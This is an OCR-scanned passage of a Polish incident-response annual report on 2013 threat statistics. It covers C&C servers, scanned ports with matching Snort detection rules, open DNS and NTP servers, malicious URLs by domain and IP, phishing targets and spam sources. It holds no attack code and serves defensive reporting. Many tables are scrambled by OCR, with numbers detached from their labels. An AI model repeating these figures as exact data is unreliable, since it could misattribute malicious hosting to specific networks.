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Rysunek 12: Kraje, w ktorych hostowane jest najwiecej serweréw C&C
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dziat mmmmm
Liczba IP
procentowy 5617 Telekomunikacja Polska S.A. 10%

5

16276 OVH Systems 3,07% 2 12824 home.pl sp. z 0.0. 4 8%

2 35047 Abissnet sh.a. 202 2,62% 3 6830 Liberty Global Operations B.V. (UPC) 3 6%

3 5391 Hrvatski Telekom d.d. 169 2,19% 3 51290 HosTeam s.c. 3 6%

4 41440 0OJSC Rostelecom 149 1,93% 3 29314 VECTRA S.A. 3 6%

5 1241 Forthnet 146 1,89% 6 48707 Greener, Marcin Waligorski 2 4%

6 36351 SoftLayer Technologies Inc. 139 1,80% 6 43939 Internetia 5p.z 0.0. 2 4%

7 24940  Hetzner Online AG 137 1,78% 6 43333 CIS NEPHAX 2 4%

8 13335 CloudFlare, Inc. 118 1,53% 6 35017 Swiftway Sp. z 0.0. 2 4%

9 12066 TRICOM 92 1,19% 6 99527 Krakowskie e-Centrum Informatycz- 5 4%
10 8560 1&1 Internet AG 90 1,17% neJovP

6 198921 Unix Storm - Michal Gottlieb 2 4%

6 12741 Netia SA 2 4%

Tabela 6: Systemy autonomiczne, w ktdrych hostowane
Jest najwiecej serwerdw C&C na swiecie
Tabela 7: Systemy autonomiczne, w ktdrych hostowane jest najwiecej serwerdow C&C w Polsce

A.1.2 SKALA ZAGROZENIA W POLSCE

W Polsce serwery C&C znajdowaty sie na 50 roznych adresach IP (25 miejsce na Swiecie -
0,65%) w 30 roznych systemach autonomicznych. W tabeli 7 prezentujemy 12 systemow
autonomicznych, w jakich znajdowato sie najwiecej serwerdw zarzgdzajacych botnetami
(64% wszystkich ztosliwych serweréw w Polsce).
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home.plsp.zoo. [ 4 1 .com 2183 30,14%
Liberty Global Operations B.V. (UPC) ] 3 y net 1047 14,45%
HosTeams.c. [ 3 3 org 582 8,03%
VECTRASA. [ 3 4 info 535 7,38%
Greener, Marcin Waligorski 2 5 ru 458 6,32%
Internetia Sp.zo.o. [N 2 6 biz 304 4,19%
|
CIS NEPHAX 2 7 <u 273 3,77%
Swiftway Sp. z 0.0 2 3 de 161 2,22%
ie e- |
Krakowskie e-Centrum Informatyczne JUMP 2 9 uk 154 212%
i - Mi i | 2 -
Unix Storm - Michal Gottlieb 10 in 134 1,85%
Netia SA [N 2
S 11 pl 123 1,69%
Rysunek 13: Systemy autonomiczne, w ktorych hostowane
Jest najwiecej serwerdw C&C w Polsce Tabela 8: Domeny najwyzszego poziomu, w ktdrych zarejestrowano serwery C&C
W obrebie domeny .pl zauwazylismy 123 nazwy domenowe (1,69% wszystkich), przez co
A.1.3 NAZWY DOMENOWE znalazfa sie ona na wysokiej 11 pozycji. Po gtebszej analizie okazato sie, ze wsréd nich:

Otrzymalismy réwniez zgtoszenia o 7 241 petnych nazwach domenowych, ktére petnity role > 76 jest przekierowanych na sinkhole CERT Polska,
serwerow zarzadzajacych botnetami. Zostaty one zarejestrowane w obrebie 120 domen naj-
Wyzszego poziomu, z czego ponad 4/5 w domenie .com. Dane zaprezentowane sg w tabeli 8. > 22 nie s3 zarejestrowane lub nie zwracajg adreséw IP (np. wirtualny rejestrator vinask),
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> 20 nazw domenowych utrzymywato ztosliwg infrastrukture zarzagdzania botnetem wbrew
woli wlasciciela (np. skompromitowany serwer www lub zfosliwy kanat na serwerze IRC),

> 2 domeny zostaty zarejestrowane ponownie, ale nie sg wykorzystywane do utrzymywa-
nia serweréow C&C.

A.2 SKANOWANIE

W 2013 roku otrzymalismy informacje o 831410 unikalnych adresach IP, z ktérych odby-
wato sie skanowanie ustug sieciowych. Srednio dziennie byto 5481.48 raportowanych ska-
nujacych adreséw IP.

Ze wzgledu na nature otrzymywanych przez nas danych - niektére pochodzg z naszych
wiasnych zrodet (wowczas celem jest adres IP znajdujacy sie w Polsce), podczas gdy inne
pochodzg z zewnetrznych zrédet (wowczas skanujacym jest komputer z polskiej sieci), po-
stanowiliSmy podzieli¢ te statystyki na dwie czesci - dotyczace Polski oraz zagranicy.

A.2.1 SKANOWANE UStUGI

Podobnie jak w poprzednim roku, port TCP/445, na ktérym stoi ustuga RPC, byt naj-
czesciej skanowanym portem. Dlatego istotne jest odpowiednie zabezpieczenie takiej
ustugi. Nowoscig w rankingu jest port TCP/4899 przypisany do ustugi RAdmin oraz port
TCP/3306 przypisany do bazy MySQL. W tabeli 9 znajduje sie 10 najczesciej skanowa-
nych portow.
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TCP/445 283859 Windows RPC
2 TCP/3389 138242 RDP (zdalny pulpit)
3 TCP/4899 105577 RAdmIn
4 TCP/80 70838 Webaplikacje i serwery WWW
5 TCP/1433 67850 MS SQL
6 TCP/23 64865 telnet
7 TCP/22 35389 SSH
8 TCP/135 22802 Ustuga DCE RPC systemu Windows
E) TCP/139 16494 NetBIOS, wspotdzielenie plikdw i drukarek
10 TCP/3306 15095 MySQL

Tabela 9: Skanowanie wedtug portéw



|
TCP/445 283859 Reguta Snort
TCP/3389 I 138242 ET POLICY RDP connection request 127551  TCP/3389
TCP/4899 I 105577 2 MISC MS Terminal server request 124529 TCP/3389
TCP/80 I 70838 - - TCP/3899

3 lEr;I;tiF;Ct)é_ICY Radmin Remote Control Session Setup 103923 TCP/4899
TCP/1433 ] 67850 TCP/4900
TCP/23 I 64865 4 ET POLICY Suspicious inbound to MSSQL port 1433 66889  TCP/1433

5 BLEEDING-EDGE RDP connection request 48993  TCP/3389
TCP/22 ] 35389

6 WEB-IIS view source via translate header 44580 TCP/80
TEP/35 ] 22802 7 ETSCAN Potential SSH Scan 24862 TCP/22
TCP/139 16494 ifi i

|| 8 ElTNSDCAN DCERPC rpcmgmt ifids Unauthenticated 16628 TCP/135
TCP/3306 B 15095
BLEEDING-EDGE POLICY Reserved IP Space Traffic
9 15105 —
Bogon Nets 2
Rysunek 14: Najczesciej skanowane porty
10 ET POLICY Suspicious inbound to mySQL port 3306 14934  TCP/3306

Tabela 10: Najczestsze reguty Snort zebrane z systemu ARAKIS

Najpopularniejsze reguty Snort, zaprezentowane w tabeli 10 utatwiajg identyfikacje po- A.2.2 ZAGRANICZNE SIECI

szczegolnych atakow. Na przyktad najwiecej potgczen na port 80 stanowity skanowania po-

datnosci serwera IIS 5.0, opublikowanej w 2000 roku w ramach biuletynu MS00-058. Skanowania z zagranicznych adreséw w ponad 1/4 pochodzity z Chin. Pozostate kraje mia-
ty znacznie mniejszy udziat w skanowaniach. 10 krajow, ktérych adresy IP miaty najwiekszy
udziat w skanowaniach zaprezentowanych jest w tabeli 11.
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Chiny 155722
2 Stany Zjednoczone 46938
3 Rosja 42429
4 Brazylia 23125
5 Indie 22556
6 Tajwan 20250
7 Turcja 18654
8 Niemcy 17622
9 Ukraina 16781
10 Tajlandia 15950

26,78%
8,07%
7,30%
3,98%
3,89%
3,48%
3,21%
3,03%
2,88%
2,74%

Tabela 11: Kraje, z ktérych pochodzifo najwiecej skanowari (z wytqczeniem Polski)

W tabeli 12 zaprezentowano systemy autonomiczne, z ktérych pochodzito najwiecej ska-
nowan. Kraje pochodzenia poszczegolnych systemow pokrywaja sie z tabelg 11. Pierwszy
system autonomiczny - China Telecom Backbone - wystapit prawie trzy razy czesciej niz
kolejny w zestawieniu system. Co wiecej, ten system autonomiczny réwniez w zesztym roku

byt na pierwszej pozyciji.
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15950

Rysunek 15: Kraje, z ktérych pochodzito najwiecej skanowarn (z wytqczeniem Polski)



Liczba
IP

4134
2 4837
3 3462
4 9121
5 9829
6 5384
7 8151
8 3320
9 18881
10 17552

China Telecom Backbone
China Unicom Backbone

Data Communication Business
Group

Turk Telekomunikasyon
Anonim Sirketi

BSNL
(Bharat Sanchar Nigam Ltd)

Emirates Telecommunications
Corporation

Uninet S.A. de C.V.
Deutsche Telekom AG
Global Village Telecom

True Internet Co., Ltd.

Chiny

Chiny

Tajwan

Turcja

Indie

ZEA

Meksyk
Niemcy
Brazylia

Tajlandia

86514

30672

16116

13900

9179

8867

6833

6355

5990

4788

14,88%

5,28%

2,77%

2,39%

1,58%

1,52%

1,17%
1,09%
1,03%

0,82%

Tabela 12: Zagraniczne systemy autonomiczne, z ktdrych pochodzito najwiecej skanowari

A.2.3 POLSKIE SIECI

Dostalismy informacje o 250 030 réznych adresach IP, ktére skanowaty komputery z pol-
skich sieci. Srednio byto to 1 348.39 unikalnych adreséw dziennie. Tabela 13 przedstawia
zestawienie systemow autonomicznych, z ktérych odbywato sie skanowanie. Zmiany w sto-
sunku do lat ubiegtych sg minimalne.

12741
2 5617
3 8374
4 21021
5 29314
6 29007
7 21243
8 6714
9 43447
10 6830

Netia SA 75285
Orange 73601
Polkomtel Sp. z 0.0. 39327
Multimedia Polska S.A. 28136
VECTRA SA. 6923
Petrotel Sp. z 0.0. 3704
Polkomtel Sp. z 0.0. 3121
GTS Poland Sp. z 0.0. 2175
Orange 1504
Liberty Global Operations B.V. (UPQ) 1299

10%
8%
6%
6%
6%
4%
4%
4%
4%

4%

Tabela 13: Polskie systemy autonomiczne, z ktérych pochodzito najwiecej skanowari
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Netia SA

Orange

Polkomtel Sp. z o0.0.
Multimedia Polska S.A.
VECTRA S.A.

Petrotel Sp. z 0.0.
Polkomtel Sp. z 0.0.
GTS Poland Sp. z 0.0.
Orange

Liberty Global Operations B.V. (UPC)

75285

73601

39327

28136

6923

3704

3121

2175

1504

1299

Rysunek 16: Polskie systemy autonomiczne, z ktdrych pochodzito najwiecej skanowari
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A3

W 2013 roku otrzymalismy 20 178 909 zgtoszen dotyczgcych 1 470 593 unikalnych adre-
sow IP w Palsce, na ktérych znajdowaty sie otwarte serwery DNS. Dziennie dostawalisSmy
informacje o 167 955 unikalnych adresow IP, na ktérych znajdowaly sie otwarte serwery
DNS. W tabelach 14 oraz 15 znajduje sie zestawienie liczby unikalnych adresow IP widzia-
nych w ciggu roku w stosunku do liczby wszystkich adresach IP w danym systemie auto-
nomicznym. Wsrod tych ostatnich systeméw autonomicznych wyréznilismy te, ktére maja
wiecej niz 250 000 adresow IP.

Na pewnego rodzaju wyréznienie zastuguje system autonomiczny Lubuskie Sieci Swiatto-
wodowe sp. z 0.0., w ktérym prawie wszystkie adresy IP stuzg jako otwarty serwer DNS. Ta-
kie serwery bardzo tatwo mozna wykorzysta¢ do przeprowadzenia ataku DDOS, wykorzy-
stujgc do niego infrastrukture itacza tego systemu autonomicznego.



Pozycja Pozycja
w rankingu : w rankingu
bezwzgled- =zl bezwzgled-

nym nym

Lubuskie Sieci Telekomunikacja Polska
1 197025 Swiattowodowe 1921 93,79% 20 A AR g Fl2e07e - AAsh !
Sp.z 0.0.
. 105 12741 Netia S.A. 130746 8,87% 2
2 49528 o ANET Mardn 4507 80,02% 13
ps2y 122 21021  Multimedia Polska S.A. 44147 7,44% 3
i i 0,
3 197837  INTB Sebastian Pierzchata 1381 67,43% 25 503 6714 GTS Poland sp. 2 0.0. 13488 362% 5
Spotdzielnia Telekomuni-
4 38987 kﬁjcyjna oST 7511 66,68% 9 230 20960 TK Telekom sp.z 0.0. 249088 2,98% 10
i 0,
5 57254 EZ;L)JeiKANET Wojciech 335 65,42% % 257 29314 VectraSA. 12618 2,62% 6
. 281 12912  T-MOBILE POLSKA S A. 679936 2,17% 4
6 198073, ewizja Kablowa 2515 61,40% 18
Stupsk”sp. z.0.0. 668 43939  Internetia sp.z 0.0. 1929 0,59% 19
7o sz SRl s zoe, 3225 SESEH 15 700 6830  Liberty Global / UPC 7593 0,51% 8
i i [0}
8 56783  ConnectlIT Marcin Hajka 536 52,34% 64 878 8308 NASK 605 0,19% 49
E-mouse Karol
9 198408\ ipinowicz 243 47,46% 122 940 8374  Polkomtel sp.z 0.0. 688 0,05% 41
10 197979  Interkar Komputer Serwis 472 46,09% 73 — 39603 P4 Sp.zo.o. 0 0,00% —
Tabela 14: Polskie systemy autonomiczne, w ktorych znajdujq sie otwarte serwery DNS Tabela 15: Najwieksze polskie systemy autonomiczne, w ktorych znajdujq sie

otwarte serwery DNS 9



A.4 OTWARTE SERWERY NTP
W 2013 roku otrzymalismy 3 961 269 zgtoszen dotyczacych 1 931 117 unikalnych adreséw

IP na sSwiecie, w tym 11 395 z Polski, na ktérych znajdowalty sie Zle skonfigurowane badz
nieaktualizowane serwery NTP.

Stany Zjednoczone
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Korea Potudniowa
Japonia

Rosja

Kanada

Niemcy

Chiny

Wielka Brytania
Ukraina

Holandia

Polska

Tabela 16: Kraje, w ktdrych znajdujq sie podatne serwery NTP

1148663

94068
90195
66850
57619
54115
31321
26090
19661
18309

11395

59,48%
4,87%
4,67%
3,46%
2,98%
2,80%
1,62%
1,35%
1,02%
0,95%

0,59%

10

7018

7132

2914

6389

9318
4766

27589

24940
15290

19397

AT&T Services, Inc.

AT&T Internet Services

NTT America, Inc.

BellSouth.net Inc.

Hanaro Telecom Inc.

Korea Telecom
MOJOHOST

Hetzner Online AG

Allstream Corp.

ACN

Stany
Zjednoczone

Stany
Zjednoczone

Stany
Zjednoczone

Stany
Zjednoczone

Korea Potudniowa
Korea Potudniowa

Stany
Zjednoczone

Niemcy
Kanada

Stany
Zjednoczone

466569

264022

211958

73854

39892
36709

25052

24400
23310

17284

Tabela 16 przedstawia zestawienie krajow, w ktorych znajduje sie najwiecej podatnych ser-
werow NTP. Polska zajmuje 14 miejsce, majac jedynie 11 395 unikalnych adreséw IP, czyli
stukrotnie mniej niz kraj z pierwszego miejsca - Stany Zjednoczone.

24,16%

13,67%

10,98%

3,82%

2,07%
1,90%

1,30%

1,26%
1,21%

0,89%

Tabela 17: Systemy autonomiczne, w ktorych znajdujq sie podatne serwery NTP



Pozycja W tabelach 17 oraz 18 znajduje sie zestawienie liczby unikalnych adreséw IP widzianych
Liczba w rankingu w Ciggu roku w stosunku do liczby wszystkich adreséw IP w danym systemie autonomicz-
P bezwzgled- nym. Wéréd tych systemdw autonomicznych wyrdézniliémy te, ktére majg wiecej niz 250 000

adresoéw [P.

nym

1 41057  P.H.U. Alfa Computers 34,37% 3
Pozycja
2 34844  Elart Stanistaw Zakrzewski 170 11,06% 13 Liczba w rankingu
IP bezwzgled-
Polskie Technologie nym
3 39198  Internetowe 26 10,15% 68
Sp. z 0.0. 173 8308 NASK 0,16% 4
1 0
: . MICROLINK Laszczyk 4 - 4 268 12741  Netia SA. 930 0,06% 2
Michat ' 321 20960  TKTelekom sp. z 0.0. 111 0,04% 24
6 197431  Gemius S.A. 109 8,51% 25 395 5617 gilekomumkaqa Polska 1196 0,02% ]
7 15396  Uniwersytet Warszawski 21 8,20% 80
415 29314 VectraSA 60 0,01% 34
8 42374 'Sftja'”et SrEIDEIE Ry 229 8,13% 9 426 6830  Liberty Global / UPC 155 0,01% 17
429 21021 Multimedia Polska S.A. 59 0,01% 36
9 25313  Open Finance S.A. 18 7,03% 91
438 43939  Internetia sp. z 0.0. 27 0,01% 64
10 196844  PIONIER 33 6,44% 56
455 8374 Polkomtel sp. z 0.0. 14 0,00% 104
Przedsiebiorstwo Produk- 3 Q
11 47466 cyjno Montazowe Budow- 33 6,44% 56 456 12912  T-MOBILE POLSKA S.A. 7 0,00% 150
nictwa PROMONT — 39603 P4 Sp.zo.o. 0 0,00% —
Tabela 18: Polskie systemy autonomiczne, w ktorych znajdujq sie podatne serwery NTP Tabela 19: Najwieksze polskie systemy autonomiczne, v ktdrych znajdujq sie

podatne serwery NTP
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A.5 ZLOSLIWE STRONY W tabeli 20 znajduja sie petne nazwy domenowe, na ktérych, wedtug otrzymanych przez

nas informacji, znajduje sie najwiecej ztosliwych adreséw URL. Podobnie jak w zesztym
Otrzymalismy 12 674 270 zgtoszen o 8 393 693 unikalnych ztosliwych adresach URL. roku na pierwszym miejscu znajduje sie katalog.onet.pl. Drugie miejsce serwisu Nokaut
7 tego 1 486 066 zgtoszen dotyczyto 497 721 unikalnych adreséw URL w domenie .pl. wynika z tego, ze w sierpniu wszystkie adresy URL znajdujgce sie pod tg domeng zostaty
Dziennie otrzymywalismy srednio informacje o 1 363 ztosliwych adresach internetowych o0znaczone przez Google Safebrowsing jako ztosliwe ze wzgledu na skompromitowany sys-

w domenie .pl. tem reklam [12].
DIECTTIEETTN AT T
1 45075 katalog.onet.pl 45075 213.180.146.24 12990  Onet.pl SA
2 21018 www.nokaut.pl 2 22455 92.43.117.165 31229  Beyond sp. z 0.0.
3 5232 republika.pl 3 9538 194.9.24.158 41406  ATM SA.
4 4624 smiletube.pl 4 6905 213.180.150.17 12990  Onet.pl SA
5 4091 www.amedis.pl 5 5216 217.74.66.183 16138  Interia.pl
6 3535 biegle.pl 6 4866 89.161.232.42 12824 home.pl
7 3521 liniamedia.com.pl 7 4496 193.203.99.113 47303  REDEFINE
8 2941 warezdownload.pl 8 4179 85.128.196.157 15967  NetArt
9 2826 pelcpawel.fm.interia.pl 9 3966 91.199.22.117 41079  SuperHost.pl Sp. z 0.0.
10 2594 caligula.pl 10 3928 217.74.65.162 16138  Interia.pl

Tabela 20: Petne nazwy domenowe, na kidrych byto najwiecej unikalnych adreséw URL Tabela 21: Adresy IP, na ktorych znajduje sie najwiecej ztosliwych adresow URL
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W tabeli 21 znajduja sie adresy IP, na ktérych znalazto sie najwiecej ztosliwych adresow
URL. Podobnie jak w 2012 roku w czotéwce znajdujg sie hostingi Interii oraz Onetu. Na-
tomiast w tabeli 22 zaprezentowane sg systemy autonomiczne, w ktérych byto najwiecej
ztosliwych adreséw URL. W czotéwce jest nadal home.pl, OVH, Onet oraz Interia.

Unikalnych
adreséw URL

87620 12824 home.pl
2 53426 12990 Onet.pl SA
3 37868 16276 OVH
4 33646 15967 NetArt
5 32925 24940 Hetzner
6 23153 31229 E24
7 18491 16265 Fiberring
8 16391 16138 Interia.pl
9 15853 41079 SuperHost.pl Sp. z 0.0.
10 13273 29522 Krakowskie e-Centrum Informatyczne

JUMP

Tabela 22: Systemy autonomiczne, w ktdrych znajduje sie najwiecej
ztosliwych adreséw URL

home.pl

Onet.pl SA

OVH

NetArt

Hetzner

E24

Fiberring

Interia.pl

SuperHost.pl Sp. z o.0.

Krakowskie e-Centrum Informatyczne JUMP

Rysunek 17: Systemy autonomiczne, w ktorych znajduje sie najwiecej
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W tabeli 23 sg kraje, w ktorych znajdowaty sie serwery ztosliwych stron w domenie .pl. Pol-
ska jest na pierwszym miejscu, zgodnie z oczekiwaniami, reszta rankingu wyglada bardzo

podobnie do zestawienia w 2012 roku.

1 374080
53180
32996
16887
12068
3389
2115
1872

O o0 ~N o u M~ W N

1679

N
(@]

1306

Polska

Niemcy

Francja

Holandia

Stany Zjednoczone
Kanada

Czechy

Szwajcaria
Portugalia

Wielka Brytania

Tabela 23: Kraje, w ktdrych hostowano najwiecej ztosliwych adresow URL z domeny .p!

A.6 PHISHING

W 2013 roku dostalismy az 19 991 ztoszen dotyczgcych phishingu w polskich sieciach,
dotyczacych 7 886 adresow URL w 3 780 domenach, hostowanych na 1 578 adresach IP.
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Niemal wszystkie strony phishingowe byty efektem wtamania, a nie wykupienia ustugi spe-
cjalnie w celu przestepczym. Liczby znacznie wieksze niz w zesztym roku sg przede wszyst-
kim wynikiem uwzglednienia nowych zrédet danych.

;E;;jgmoo\lowmwaA

PayPal
Google
Chase
Apple
Wells Fargo

(of]|

Bank of America

eBay
postbank.de
MasterCard
Nationwide
Amazon
Vodafone
sparkasse.de
Citi

Nordea

inne banki

Tabela 24: Cele phishingu

Przypadki

1954
229
129

84
79
57
32
23
20
15
17
12
11
10

6
61



Sieci, w ktérych najczesciej znajdowat sie phishing nie powinny by¢ zaskoczeniem - s3 to
tradycyjnie przede wszystkim duze hostownie, wsrdd ktorych dominuja Home.pl oraz Net-
Art. Optymistyczng obserwacja jest to, ze zmniejsza sie liczba zgtoszen per adres IP, co
0znacza, ze reakcje na zgtoszenia podejmowane sg szybciej.

Numer Liczba Liczba
AS URL zgloszen

12824 home.pl sp. z 0.0. 2611 1568
2 15967 NetArt 283 761 602
3 16276 OVH 49 396 83
s s fkowkee G 6w e
5 5617 Telekomunikacja Polska S.A. 39 174 85
6 41079 SuperHost.pl sp. z 0.0. 34 411 182
7 196763 Key-Systems GmbH 30 121 32
8 43333 CIS NEPHAX 27 57 52
9 198414 Biznes-Host.pl sp. z 0.0. 22 57 34
10 47544 IQ PLSp.z0.0. 21 30 38

Tabela 25: Polskie systemy autonomiczne, w ktdrych znajdowato sie najwiecej phishingu

Wsrod gtéwnych “celdow” phishingu nieodmiennie od wielu lat prym wiedzie PayPal ze
znaczng przewaga nad innymi serwisami. Ciekawostkg jest wyrazna obecnos¢ atakow phi-
shingowych na konta Google oraz Apple. Wsrdd bankow najczesciej probowano wytudzac
dane dostepowe do Chase, Wells Fargo oraz Bank of America. W sierpniu 2013 roku miata
miejsce takze seria atakéw phishingowych klientéw serwisu iPKO (bankowos¢ elektronicz-
na PKO BP). Strony znajdowaty sie pod kilkunastoma adresami poza domeng .pl, w zagra-
nicznych sieciach.

A.7 SPAM

Incydenty opisane w tym punkcie dotyczg maszyn w polskich sieciach, bedacych zrodtem
niezamowionej korespondendji. W ogromnej wiekszosci sg to komputery zarazone ztosli-
wym oprogramowaniem, a wiec boty, ktére wykorzystywano do masowej wysytki spamu
bez wiedzy ich wiascicieli. Ze wzgledu na trudnosci w zdefiniowaniu spamu - zaréwno
w polskim prawie jak i w percepdji uzytkownika - nie prowadzimy statystyk otrzymywane;
niechcianej korespondenciji.

Rok 2013 byt kolejnym, ktory przynidst znaczacy postep w zakresie walki z botami rozsy-
tajgcymi spam z polskich sieci. Liczba zgtoszen tego problemu zmniejszyta sie od 2012
roku o ponad 31% do poziomu 3 553 219. Dotyczyty one 1 348 771 unikalnych adreséw
IP (spadek o 18,1%).

Najwiekszy wktad w sukces miata bez watpienia decyzja Netii, ktéra jako drugi duzy ope-
rator (po Orange Polska) zdecydowata sie na uruchomienie domysinej blokady portu
25 TCP. Operacja ta miata miejsce od marca do kwietnia 2013 roku i przyniosta Netii wy-
razny spadek z niechlubnej pozydji lidera polskich sieci bedacych Zzrédtem spamu - na
miejsce trzecie pod wzgledem liczby zgtoszen oraz pigte pod wzgledem liczby unikalnych
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IP, z ktérych rozsytano spam. W kolejnym roku wyniki powinny by¢ jeszcze lepsze, ponie-
waz na obecny ranking nadal wptywaja dane z pierwszego kwartatu 2013, gdy blokada nie

byfa jeszcze wigczona.

39603
43447
12912

8374
21021
12741
29314

6714

O 0 N O U M W N

20960

N
(@}

43939
11 8308

P4 Sp.zo.o.

Orange Polska

T-MOBILE POLSKA S.A.

Polkomtel S.A.

Multimedia Polska S.A.

Netia S.A.

VECTRA

GTS Poland Sp. z 0.0.
TK Telekom
Internetia Sp. z 0.0.

NASK

275749
327361
175391
253038
71242
150378
28392
9365
2566
1152
403

43,16%
31,68%
25,80%
19,13%
12,01%
9,97%
5,59%
2,25%
1,03%
0,35%
0,13%

Tabela 26: Polskie systemy autonomiczne, z ktérych pochodzito najwiecej spamu

Spadek zaréwno liczby zgtoszen jak i liczby Zrédtowych adresow IP (choc nie tak spektaku-
larny jak w Netii) obserwujemy u wiekszosci operatoréw. Mamy nadzieje, ze przynajmniej
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jednym z decydujacych o tym czynnikéw byta konsekwentna walka NASK i CERT Polska
z uzywaniem polskich domen do zarzadzania botnetami. W jej efekcie przejelismy kontrole
nad wieloma aktywnymi sieciami botéw, uniemozliwiajac im komunikacje z centrum zarza-
dzajgcym i wykonywanie polecen, w tym rozsyfanie spamu i pozyskiwanie adreséw email.
Wiecej informacji na ten temat w rozdziale 7 raportu.

P4 Sp. z o0.0.

Orange Polska
T-MOBILE POLSKA S.A.
Polkomtel S.A.
Multimedia Polska S.A.
Netia S.A.

VECTRA

GTS Poland Sp. z 0.0.
TK Telekom
Internetia Sp. z o.0.

NASK

275749

327361

175391

253038

71242

150378

28392

9365

2566

1152

403

Rysunek 18: Polskie systemy autonomiczne, z ktdrych pochodzito najwiecej spamu



Bardziej miarodajny pod wieloma wzgledami jest ranking pod katem stosunku liczby ad-
resow rozsytajacych spam do wielkosci sieci, czyli "nasycenie” sieci problemem. W tabeli
26 przedstawiamy taki ranking dla najwiekszych polskich sieci (powyzej 250 tysiecy ad-
resow)¥. W tym roku po raz pierwszy catg czotdwke zdominowaty sieci mobilne, co jest
konsekwencjg trendu trwajgcego od kilku lat.

Nalezy podkresli¢, ze dzieki decyzjom Orange i Netii, a takze czyszczeniu sieci i dezaktywadji
sieci botéw Polska przestata by¢ postrzegana jak notoryczne zrodto spamu. Sytuacja ulegta
wiec znacznej poprawie w ciggu ostatnich kilku lat. Nie oznacza to oczywiscie, ze nalezy
spocza¢ na laurach, jednak wida¢, ze dziatania najwiekszych graczy majg duzy oddzwiek.
Tym bardziej liczymy na mobilizacje operatoréw mobilnych oraz Multimedia Polska S.A.

“7W tym zestawieniu nie uwzgledniono sieci UPC, ze wzgledu na jej miedzynarodowy charakter i, w zwigzku z tym, brak da-
nych jej dotyczacych.
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